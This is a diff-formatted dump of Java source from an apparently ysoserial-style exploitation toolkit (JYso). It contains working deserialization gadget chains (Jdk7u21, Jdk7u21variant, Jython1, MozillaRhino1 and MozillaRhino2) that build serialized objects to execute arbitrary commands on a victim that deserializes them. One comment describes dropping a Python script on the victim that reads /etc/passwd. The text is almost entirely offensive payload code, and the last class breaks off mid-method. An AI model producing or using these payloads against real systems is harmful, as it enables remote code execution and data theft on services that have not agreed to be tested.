||||||
* <p>
|
* <p>
|
||||||
* LinkedHashSet.readObject()
|
* LinkedHashSet.readObject()
|
||||||
* LinkedHashSet.add()
|
* LinkedHashSet.add()
|
||||||
* ...
|
* ...
|
||||||
* TemplatesImpl.hashCode() (X)
|
* TemplatesImpl.hashCode() (X)
|
||||||
* LinkedHashSet.add()
|
* LinkedHashSet.add()
|
||||||
* ...
|
* ...
|
||||||
* Proxy(Templates).hashCode() (X)
|
* Proxy(Templates).hashCode() (X)
|
||||||
* AnnotationInvocationHandler.invoke() (X)
|
* AnnotationInvocationHandler.invoke() (X)
|
||||||
* AnnotationInvocationHandler.hashCodeImpl() (X)
|
* AnnotationInvocationHandler.hashCodeImpl() (X)
|
||||||
* String.hashCode() (0)
|
* String.hashCode() (0)
|
||||||
* AnnotationInvocationHandler.memberValueHashCode() (X)
|
* AnnotationInvocationHandler.memberValueHashCode() (X)
|
||||||
* TemplatesImpl.hashCode() (X)
|
* TemplatesImpl.hashCode() (X)
|
||||||
* Proxy(Templates).equals()
|
* Proxy(Templates).equals()
|
||||||
* AnnotationInvocationHandler.invoke()
|
* AnnotationInvocationHandler.invoke()
|
||||||
* AnnotationInvocationHandler.equalsImpl()
|
* AnnotationInvocationHandler.equalsImpl()
|
||||||
* Method.invoke()
|
* Method.invoke()
|
||||||
* ...
|
* ...
|
||||||
* TemplatesImpl.getOutputProperties()
|
* TemplatesImpl.getOutputProperties()
|
||||||
* TemplatesImpl.newTransformer()
|
* TemplatesImpl.newTransformer()
|
||||||
* TemplatesImpl.getTransletInstance()
|
* TemplatesImpl.getTransletInstance()
|
||||||
* TemplatesImpl.defineTransletClasses()
|
* TemplatesImpl.defineTransletClasses()
|
||||||
* ClassLoader.defineClass()
|
* ClassLoader.defineClass()
|
||||||
* Class.newInstance()
|
* Class.newInstance()
|
||||||
* ...
|
* ...
|
||||||
* MaliciousClass.<clinit>()
|
* MaliciousClass.<clinit>()
|
||||||
* ...
|
* ...
|
||||||
* Runtime.exec()
|
* Runtime.exec()
|
||||||
*/
|
*/
|
||||||
|
|
||||||
@SuppressWarnings({"rawtypes", "unchecked", "unused"})
|
@SuppressWarnings({"rawtypes", "unchecked", "unused"})
|
||||||
@Dependencies()
|
@Dependencies()
|
||||||
@Authors({Authors.FROHOFF})
|
@Authors({Authors.FROHOFF})
|
||||||
public class Jdk7u21 implements ObjectPayload<Object> {
|
public class Jdk7u21 implements ObjectPayload<Object> {
|
||||||
|
|
||||||
public static boolean isApplicableJavaVersion() {
|
public static boolean isApplicableJavaVersion() {
|
||||||
JavaVersion v = JavaVersion.getLocalVersion();
|
JavaVersion v = JavaVersion.getLocalVersion();
|
||||||
return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21));
|
return v != null && (v.major < 7 || (v.major == 7 && v.update <= 21));
|
||||||
}
|
}
|
||||||
|
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
final Object templates;
|
final Object templates;
|
||||||
templates = Gadgets.createTemplatesImpl(command);
|
templates = Gadgets.createTemplatesImpl(command);
|
||||||
|
|
||||||
// hashCode 为 0 的字符串
|
// hashCode 为 0 的字符串
|
||||||
String zeroHashCodeStr = "f5a5a608";
|
String zeroHashCodeStr = "f5a5a608";
|
||||||
|
|
||||||
HashMap map = new HashMap();
|
HashMap map = new HashMap();
|
||||||
map.put(zeroHashCodeStr, "foo");
|
map.put(zeroHashCodeStr, "foo");
|
||||||
|
|
||||||
// 使用 AnnotationInvocationHandler 为 HashMap 创建动态代理
|
// 使用 AnnotationInvocationHandler 为 HashMap 创建动态代理
|
||||||
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
|
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
|
||||||
Constructor<?> constructor = c.getDeclaredConstructors()[0];
|
Constructor<?> constructor = c.getDeclaredConstructors()[0];
|
||||||
constructor.setAccessible(true);
|
constructor.setAccessible(true);
|
||||||
InvocationHandler tempHandler = (InvocationHandler) constructor.newInstance(Override.class, map);
|
InvocationHandler tempHandler = (InvocationHandler) constructor.newInstance(Override.class, map);
|
||||||
|
|
||||||
// 反射写入 AnnotationInvocationHandler 的 type
|
// 反射写入 AnnotationInvocationHandler 的 type
|
||||||
Reflections.setFieldValue(tempHandler, "type", Templates.class);
|
Reflections.setFieldValue(tempHandler, "type", Templates.class);
|
||||||
|
|
||||||
// 为 Templates 创建动态代理
|
// 为 Templates 创建动态代理
|
||||||
Templates proxy = (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
|
Templates proxy = (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
|
||||||
new Class[]{Templates.class}, tempHandler);
|
new Class[]{Templates.class}, tempHandler);
|
||||||
|
|
||||||
// LinkedHashSet 中放入 TemplatesImpl 以及动态代理类
|
// LinkedHashSet 中放入 TemplatesImpl 以及动态代理类
|
||||||
LinkedHashSet set = new LinkedHashSet(); // maintain order
|
LinkedHashSet set = new LinkedHashSet(); // maintain order
|
||||||
set.add(templates);
|
set.add(templates);
|
||||||
set.add(proxy);
|
set.add(proxy);
|
||||||
|
|
||||||
// 反射将 _auxClasses 和 _class 修改为 null
|
// 反射将 _auxClasses 和 _class 修改为 null
|
||||||
Reflections.setFieldValue(templates, "_auxClasses", null);
|
Reflections.setFieldValue(templates, "_auxClasses", null);
|
||||||
Reflections.setFieldValue(templates, "_class", null);
|
Reflections.setFieldValue(templates, "_class", null);
|
||||||
|
|
||||||
// 向 map 中替换 tmpl 对象
|
// 向 map 中替换 tmpl 对象
|
||||||
map.put(zeroHashCodeStr, templates);
|
map.put(zeroHashCodeStr, templates);
|
||||||
|
|
||||||
return set;
|
return set;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,49 +1,49 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
|
|
||||||
import javax.xml.transform.Templates;
|
import javax.xml.transform.Templates;
|
||||||
import java.lang.reflect.InvocationHandler;
|
import java.lang.reflect.InvocationHandler;
|
||||||
import java.rmi.MarshalledObject;
|
import java.rmi.MarshalledObject;
|
||||||
import java.util.HashMap;
|
import java.util.HashMap;
|
||||||
import java.util.LinkedHashSet;
|
import java.util.LinkedHashSet;
|
||||||
|
|
||||||
import static com.qi4l.JYso.gadgets.utils.Utils.createProxy;
|
import static com.qi4l.JYso.gadgets.utils.Utils.createProxy;
|
||||||
|
|
||||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||||
@Authors({"potats0"})
|
@Authors({"potats0"})
|
||||||
public class Jdk7u21variant implements ObjectPayload<Object> {
|
public class Jdk7u21variant implements ObjectPayload<Object> {
|
||||||
|
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
final Object templates;
|
final Object templates;
|
||||||
templates = Gadgets.createTemplatesImpl(command);
|
templates = Gadgets.createTemplatesImpl(command);
|
||||||
String zeroHashCodeStr = "f5a5a608";
|
String zeroHashCodeStr = "f5a5a608";
|
||||||
|
|
||||||
HashMap map = new HashMap();
|
HashMap map = new HashMap();
|
||||||
map.put(zeroHashCodeStr, "foo");
|
map.put(zeroHashCodeStr, "foo");
|
||||||
|
|
||||||
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
|
InvocationHandler tempHandler = (InvocationHandler) Reflections.getFirstCtor(Gadgets.ANN_INV_HANDLER_CLASS).newInstance(Override.class, map);
|
||||||
Reflections.setFieldValue(tempHandler, "type", Templates.class);
|
Reflections.setFieldValue(tempHandler, "type", Templates.class);
|
||||||
Templates proxy = createProxy(tempHandler, Templates.class);
|
Templates proxy = createProxy(tempHandler, Templates.class);
|
||||||
|
|
||||||
LinkedHashSet set = new LinkedHashSet();
|
LinkedHashSet set = new LinkedHashSet();
|
||||||
set.add(templates);
|
set.add(templates);
|
||||||
set.add(proxy);
|
set.add(proxy);
|
||||||
|
|
||||||
Reflections.setFieldValue(templates, "_auxClasses", null);
|
Reflections.setFieldValue(templates, "_auxClasses", null);
|
||||||
Reflections.setFieldValue(templates, "_class", null);
|
Reflections.setFieldValue(templates, "_class", null);
|
||||||
|
|
||||||
map.put(zeroHashCodeStr, templates);
|
map.put(zeroHashCodeStr, templates);
|
||||||
|
|
||||||
MarshalledObject marshalledObject = new MarshalledObject(set);
|
MarshalledObject marshalledObject = new MarshalledObject(set);
|
||||||
Reflections.setFieldValue(tempHandler, "type", MarshalledObject.class);
|
Reflections.setFieldValue(tempHandler, "type", MarshalledObject.class);
|
||||||
|
|
||||||
set = new LinkedHashSet(); // maintain order
|
set = new LinkedHashSet(); // maintain order
|
||||||
set.add(marshalledObject);
|
set.add(marshalledObject);
|
||||||
set.add(proxy);
|
set.add(proxy);
|
||||||
map.put(zeroHashCodeStr, marshalledObject); // swap in real object
|
map.put(zeroHashCodeStr, marshalledObject); // swap in real object
|
||||||
return set;
|
return set;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,100 +1,100 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import org.apache.commons.io.FileUtils;
|
import org.apache.commons.io.FileUtils;
|
||||||
import org.python.core.*;
|
import org.python.core.*;
|
||||||
|
|
||||||
import java.io.File;
|
import java.io.File;
|
||||||
import java.lang.reflect.Proxy;
|
import java.lang.reflect.Proxy;
|
||||||
import java.math.BigInteger;
|
import java.math.BigInteger;
|
||||||
import java.util.Arrays;
|
import java.util.Arrays;
|
||||||
import java.util.Comparator;
|
import java.util.Comparator;
|
||||||
import java.util.PriorityQueue;
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
|
* Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711)
|
||||||
* <p>
|
* <p>
|
||||||
* This version of Jython1 writes a python script on the victim machine and
|
* This version of Jython1 writes a python script on the victim machine and
|
||||||
* executes it. The format of the parameters is:
|
* executes it. The format of the parameters is:
|
||||||
* <p>
|
* <p>
|
||||||
* <local path>;<remote path>
|
* <local path>;<remote path>
|
||||||
* <p>
|
* <p>
|
||||||
* Where local path is the python script's location on the attack box and
|
* Where local path is the python script's location on the attack box and
|
||||||
* remote path is the location where the script will be written/executed from.
|
* remote path is the location where the script will be written/executed from.
|
||||||
* For example:
|
* For example:
|
||||||
* <p>
|
* <p>
|
||||||
* "/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py"
|
* "/home/albino_lobster/read_etc_passwd.py;/tmp/jython1.py"
|
||||||
* <p>
|
* <p>
|
||||||
* In the above example, if "read_etc_passwd.py" simply contained the string:
|
* In the above example, if "read_etc_passwd.py" simply contained the string:
|
||||||
* <p>
|
* <p>
|
||||||
* raise Exception(open('/etc/passwd', 'r').read())
|
* raise Exception(open('/etc/passwd', 'r').read())
|
||||||
* <p>
|
* <p>
|
||||||
* Then, when deserialized, the script will read in /etc/passwd and raise an
|
* Then, when deserialized, the script will read in /etc/passwd and raise an
|
||||||
* exception with its contents (which could be useful if the target returns
|
* exception with its contents (which could be useful if the target returns
|
||||||
* exception information).
|
* exception information).
|
||||||
*/
|
*/
|
||||||
|
|
||||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||||
@Dependencies({"org.python:jython-standalone:2.5.2"})
|
@Dependencies({"org.python:jython-standalone:2.5.2"})
|
||||||
@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
|
@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711})
|
||||||
public class Jython1 implements ObjectPayload<PriorityQueue> {
|
public class Jython1 implements ObjectPayload<PriorityQueue> {
|
||||||
|
|
||||||
public PriorityQueue getObject(String command) throws Exception {
|
public PriorityQueue getObject(String command) throws Exception {
|
||||||
|
|
||||||
|
|
||||||
String[] paths = command.split(":");
|
String[] paths = command.split(":");
|
||||||
if (paths.length != 2) {
|
if (paths.length != 2) {
|
||||||
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths));
|
throw new IllegalArgumentException("Unsupported command " + command + " " + Arrays.toString(paths));
|
||||||
}
|
}
|
||||||
|
|
||||||
// Set payload parameters
|
// Set payload parameters
|
||||||
String python_code = FileUtils.readFileToString(new File(paths[0]), "UTF-8");
|
String python_code = FileUtils.readFileToString(new File(paths[0]), "UTF-8");
|
||||||
|
|
||||||
// Python bytecode to write a file on disk and execute it
|
// Python bytecode to write a file on disk and execute it
|
||||||
String code =
|
String code =
|
||||||
"740000" + //0 LOAD_GLOBAL 0 (open)
|
"740000" + //0 LOAD_GLOBAL 0 (open)
|
||||||
"640100" + //3 LOAD_CONST 1 (remote path)
|
"640100" + //3 LOAD_CONST 1 (remote path)
|
||||||
"640200" + //6 LOAD_CONST 2 ('w+')
|
"640200" + //6 LOAD_CONST 2 ('w+')
|
||||||
"830200" + //9 CALL_FUNCTION 2
|
"830200" + //9 CALL_FUNCTION 2
|
||||||
"7D0000" + //12 STORE_FAST 0 (file)
|
"7D0000" + //12 STORE_FAST 0 (file)
|
||||||
|
|
||||||
"7C0000" + //15 LOAD_FAST 0 (file)
|
"7C0000" + //15 LOAD_FAST 0 (file)
|
||||||
"690100" + //18 LOAD_ATTR 1 (write)
|
"690100" + //18 LOAD_ATTR 1 (write)
|
||||||
"640300" + //21 LOAD_CONST 3 (python code)
|
"640300" + //21 LOAD_CONST 3 (python code)
|
||||||
"830100" + //24 CALL_FUNCTION 1
|
"830100" + //24 CALL_FUNCTION 1
|
||||||
"01" + //27 POP_TOP
|
"01" + //27 POP_TOP
|
||||||
|
|
||||||
"7C0000" + //28 LOAD_FAST 0 (file)
|
"7C0000" + //28 LOAD_FAST 0 (file)
|
||||||
"690200" + //31 LOAD_ATTR 2 (close)
|
"690200" + //31 LOAD_ATTR 2 (close)
|
||||||
"830000" + //34 CALL_FUNCTION 0
|
"830000" + //34 CALL_FUNCTION 0
|
||||||
"01" + //37 POP_TOP
|
"01" + //37 POP_TOP
|
||||||
|
|
||||||
"740300" + //38 LOAD_GLOBAL 3 (execfile)
|
"740300" + //38 LOAD_GLOBAL 3 (execfile)
|
||||||
"640100" + //41 LOAD_CONST 1 (remote path)
|
"640100" + //41 LOAD_CONST 1 (remote path)
|
||||||
"830100" + //44 CALL_FUNCTION 1
|
"830100" + //44 CALL_FUNCTION 1
|
||||||
"01" + //47 POP_TOP
|
"01" + //47 POP_TOP
|
||||||
"640000" + //48 LOAD_CONST 0 (None)
|
"640000" + //48 LOAD_CONST 0 (None)
|
||||||
"53"; //51 RETURN_VALUE
|
"53"; //51 RETURN_VALUE
|
||||||
|
|
||||||
// Helping consts and names
|
// Helping consts and names
|
||||||
PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)};
|
PyObject[] consts = new PyObject[]{new PyString(""), new PyString(paths[1]), new PyString("w+"), new PyString(python_code)};
|
||||||
String[] names = new String[]{"open", "write", "close", "execfile"};
|
String[] names = new String[]{"open", "write", "close", "execfile"};
|
||||||
|
|
||||||
// Generating PyBytecode wrapper for our python bytecode
|
// Generating PyBytecode wrapper for our python bytecode
|
||||||
PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{"", ""}, "noname", "<module>", 0, "");
|
PyBytecode codeobj = new PyBytecode(2, 2, 10, 64, "", consts, names, new String[]{"", ""}, "noname", "<module>", 0, "");
|
||||||
Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());
|
Reflections.setFieldValue(codeobj, "co_code", new BigInteger(code, 16).toByteArray());
|
||||||
|
|
||||||
// Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method
|
// Create a PyFunction Invocation handler that will call our python bytecode when intercepting any method
|
||||||
PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj);
|
PyFunction handler = new PyFunction(new PyStringMap(), null, codeobj);
|
||||||
|
|
||||||
// Prepare Trigger Gadget
|
// Prepare Trigger Gadget
|
||||||
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
|
Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class<?>[]{Comparator.class}, handler);
|
||||||
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
|
PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(2, comparator);
|
||||||
Object[] queue = new Object[]{1, 1};
|
Object[] queue = new Object[]{1, 1};
|
||||||
Reflections.setFieldValue(priorityQueue, "queue", queue);
|
Reflections.setFieldValue(priorityQueue, "queue", queue);
|
||||||
Reflections.setFieldValue(priorityQueue, "size", 2);
|
Reflections.setFieldValue(priorityQueue, "size", 2);
|
||||||
return priorityQueue;
|
return priorityQueue;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,72 +1,72 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
import com.qi4l.JYso.gadgets.utils.JavaVersion;
|
import com.qi4l.JYso.gadgets.utils.JavaVersion;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||||
import org.mozilla.javascript.*;
|
import org.mozilla.javascript.*;
|
||||||
|
|
||||||
import javax.management.BadAttributeValueExpException;
|
import javax.management.BadAttributeValueExpException;
|
||||||
import java.lang.reflect.Constructor;
|
import java.lang.reflect.Constructor;
|
||||||
import java.lang.reflect.Field;
|
import java.lang.reflect.Field;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
/*
|
/*
|
||||||
by @matthias_kaiser
|
by @matthias_kaiser
|
||||||
*/
|
*/
|
||||||
|
|
||||||
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
@SuppressWarnings({"rawtypes", "unchecked","unused"})
|
||||||
@Dependencies({"rhino:js:1.7R2"})
|
@Dependencies({"rhino:js:1.7R2"})
|
||||||
@Authors({Authors.MATTHIASKAISER})
|
@Authors({Authors.MATTHIASKAISER})
|
||||||
public class MozillaRhino1 implements ObjectPayload<Object> {
|
public class MozillaRhino1 implements ObjectPayload<Object> {
|
||||||
public static boolean isApplicableJavaVersion() {
|
public static boolean isApplicableJavaVersion() {
|
||||||
return JavaVersion.isBadAttrValExcReadObj();
|
return JavaVersion.isBadAttrValExcReadObj();
|
||||||
}
|
}
|
||||||
|
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
|
Class nativeErrorClass = Class.forName("org.mozilla.javascript.NativeError");
|
||||||
Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
|
Constructor nativeErrorConstructor = nativeErrorClass.getDeclaredConstructor();
|
||||||
Reflections.setAccessible(nativeErrorConstructor);
|
Reflections.setAccessible(nativeErrorConstructor);
|
||||||
IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance();
|
IdScriptableObject idScriptableObject = (IdScriptableObject) nativeErrorConstructor.newInstance();
|
||||||
|
|
||||||
Context context = Context.enter();
|
Context context = Context.enter();
|
||||||
|
|
||||||
NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
|
NativeObject scriptableObject = (NativeObject) context.initStandardObjects();
|
||||||
|
|
||||||
Method enterMethod = Context.class.getDeclaredMethod("enter");
|
Method enterMethod = Context.class.getDeclaredMethod("enter");
|
||||||
NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name");
|
NativeJavaMethod method = new NativeJavaMethod(enterMethod, "name");
|
||||||
idScriptableObject.setGetterOrSetter("name", 0, method, false);
|
idScriptableObject.setGetterOrSetter("name", 0, method, false);
|
||||||
|
|
||||||
Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer");
|
Method newTransformer = TemplatesImpl.class.getDeclaredMethod("newTransformer");
|
||||||
NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message");
|
NativeJavaMethod nativeJavaMethod = new NativeJavaMethod(newTransformer, "message");
|
||||||
idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false);
|
idScriptableObject.setGetterOrSetter("message", 0, nativeJavaMethod, false);
|
||||||
|
|
||||||
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
|
Method getSlot = ScriptableObject.class.getDeclaredMethod("getSlot", String.class, int.class, int.class);
|
||||||
Reflections.setAccessible(getSlot);
|
Reflections.setAccessible(getSlot);
|
||||||
Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1);
|
Object slot = getSlot.invoke(idScriptableObject, "name", 0, 1);
|
||||||
Field getter = slot.getClass().getDeclaredField("getter");
|
Field getter = slot.getClass().getDeclaredField("getter");
|
||||||
Reflections.setAccessible(getter);
|
Reflections.setAccessible(getter);
|
||||||
|
|
||||||
Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
|
Class memberboxClass = Class.forName("org.mozilla.javascript.MemberBox");
|
||||||
Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
|
Constructor memberboxClassConstructor = memberboxClass.getDeclaredConstructor(Method.class);
|
||||||
Reflections.setAccessible(memberboxClassConstructor);
|
Reflections.setAccessible(memberboxClassConstructor);
|
||||||
Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
|
Object memberboxes = memberboxClassConstructor.newInstance(enterMethod);
|
||||||
getter.set(slot, memberboxes);
|
getter.set(slot, memberboxes);
|
||||||
|
|
||||||
final Object tpl;
|
final Object tpl;
|
||||||
tpl = Gadgets.createTemplatesImpl(command);
|
tpl = Gadgets.createTemplatesImpl(command);
|
||||||
|
|
||||||
NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, tpl, TemplatesImpl.class);
|
NativeJavaObject nativeObject = new NativeJavaObject(scriptableObject, tpl, TemplatesImpl.class);
|
||||||
idScriptableObject.setPrototype(nativeObject);
|
idScriptableObject.setPrototype(nativeObject);
|
||||||
|
|
||||||
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
|
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
|
||||||
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
|
Field valField = badAttributeValueExpException.getClass().getDeclaredField("val");
|
||||||
Reflections.setAccessible(valField);
|
Reflections.setAccessible(valField);
|
||||||
valField.set(badAttributeValueExpException, idScriptableObject);
|
valField.set(badAttributeValueExpException, idScriptableObject);
|
||||||
return badAttributeValueExpException;
|
return badAttributeValueExpException;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,105 +1,105 @@
|
|||||||
package com.qi4l.JYso.gadgets;
|
package com.qi4l.JYso.gadgets;
|
||||||
|
|
||||||
import com.qi4l.JYso.gadgets.annotation.Authors;
|
import com.qi4l.JYso.gadgets.annotation.Authors;
|
||||||
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
import com.qi4l.JYso.gadgets.annotation.Dependencies;
|
||||||
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
import com.qi4l.JYso.gadgets.utils.Gadgets;
|
||||||
import com.qi4l.JYso.gadgets.utils.Reflections;
|
import com.qi4l.JYso.gadgets.utils.Reflections;
|
||||||
import org.mozilla.javascript.*;
|
import org.mozilla.javascript.*;
|
||||||
import org.mozilla.javascript.tools.shell.Environment;
|
import org.mozilla.javascript.tools.shell.Environment;
|
||||||
|
|
||||||
import java.io.IOException;
|
import java.io.IOException;
|
||||||
import java.io.ObjectOutputStream;
|
import java.io.ObjectOutputStream;
|
||||||
import java.lang.reflect.Method;
|
import java.lang.reflect.Method;
|
||||||
import java.util.Hashtable;
|
import java.util.Hashtable;
|
||||||
import java.util.Map;
|
import java.util.Map;
|
||||||
|
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Works on rhino 1.6R6 and above & doesn't depend on BadAttributeValueExpException's readObject
|
* Works on rhino 1.6R6 and above & doesn't depend on BadAttributeValueExpException's readObject
|
||||||
* <p>
|
* <p>
|
||||||
* Chain:
|
* Chain:
|
||||||
* <p>
|
* <p>
|
||||||
* NativeJavaObject.readObject()
|
* NativeJavaObject.readObject()
|
||||||
* JavaAdapter.readAdapterObject()
|
* JavaAdapter.readAdapterObject()
|
||||||
* ObjectInputStream.readObject()
|
* ObjectInputStream.readObject()
|
||||||
* ...
|
* ...
|
||||||
* NativeJavaObject.readObject()
|
* NativeJavaObject.readObject()
|
||||||
* JavaAdapter.readAdapterObject()
|
* JavaAdapter.readAdapterObject()
|
||||||
* JavaAdapter.getAdapterClass()
|
* JavaAdapter.getAdapterClass()
|
||||||
* JavaAdapter.getObjectFunctionNames()
|
* JavaAdapter.getObjectFunctionNames()
|
||||||
* ScriptableObject.getProperty()
|
* ScriptableObject.getProperty()
|
||||||
* ScriptableObject.get()
|
* ScriptableObject.get()
|
||||||
* ScriptableObject.getImpl()
|
* ScriptableObject.getImpl()
|
||||||
* Method.invoke()
|
* Method.invoke()
|
||||||
* Context.enter()
|
* Context.enter()
|
||||||
* JavaAdapter.getAdapterClass()
|
* JavaAdapter.getAdapterClass()
|
||||||
* JavaAdapter.getObjectFunctionNames()
|
* JavaAdapter.getObjectFunctionNames()
|
||||||
* ScriptableObject.getProperty()
|
* ScriptableObject.getProperty()
|
||||||
* NativeJavaArray.get()
|
* NativeJavaArray.get()
|
||||||
* NativeJavaObject.get()
|
* NativeJavaObject.get()
|
||||||
* JavaMembers.get()
|
* JavaMembers.get()
|
||||||
* Method.invoke()
|
* Method.invoke()
|
||||||
* TemplatesImpl.getOutputProperties()
|
* TemplatesImpl.getOutputProperties()
|
||||||
* ...
|
* ...
|
||||||
* <p>
|
* <p>
|
||||||
* by @_tint0
|
* by @_tint0
|
||||||
*/
|
*/
|
||||||
@SuppressWarnings({"unchecked","unused"})
|
@SuppressWarnings({"unchecked","unused"})
|
||||||
@Dependencies({"rhino:js:1.7R2"})
|
@Dependencies({"rhino:js:1.7R2"})
|
||||||
@Authors({Authors.TINT0})
|
@Authors({Authors.TINT0})
|
||||||
public class MozillaRhino2 implements ObjectPayload<Object> {
|
public class MozillaRhino2 implements ObjectPayload<Object> {
|
||||||
public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException {
|
public static void customWriteAdapterObject(Object javaObject, ObjectOutputStream out) throws IOException {
|
||||||
out.writeObject("java.lang.Object");
|
out.writeObject("java.lang.Object");
|
||||||
out.writeObject(new String[0]);
|
out.writeObject(new String[0]);
|
||||||
out.writeObject(javaObject);
|
out.writeObject(javaObject);
|
||||||
}
|
}
|
||||||
|
|
||||||
@Override
|
@Override
|
||||||
public Object getObject(String command) throws Exception {
|
public Object getObject(String command) throws Exception {
|
||||||
ScriptableObject dummyScope = new Environment();
|
ScriptableObject dummyScope = new Environment();
|
||||||
Map<Object, Object> associatedValues = new Hashtable<>();
|
Map<Object, Object> associatedValues = new Hashtable<>();
|
||||||
associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
|
associatedValues.put("ClassCache", Reflections.createWithoutConstructor(ClassCache.class));
|
||||||
Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues);
|
Reflections.setFieldValue(dummyScope, "associatedValues", associatedValues);
|
||||||
|
|
||||||
Object initContextMemberBox = Reflections.createWithConstructor(
|
Object initContextMemberBox = Reflections.createWithConstructor(
|
||||||
Class.forName("org.mozilla.javascript.MemberBox"),
|
Class.forName("org.mozilla.javascript.MemberBox"),
|
||||||
(Class<Object>) Class.forName("org.mozilla.javascript.MemberBox"),
|
(Class<Object>) Class.forName("org.mozilla.javascript.MemberBox"),
|
||||||
new Class[]{Method.class},
|
new Class[]{Method.class},
|
||||||
new Object[]{Context.class.getMethod("enter")});
|
new Object[]{Context.class.getMethod("enter")});
|
||||||
|
|
||||||
ScriptableObject initContextScriptableObject = new Environment();
|
ScriptableObject initContextScriptableObject = new Environment();
|
||||||
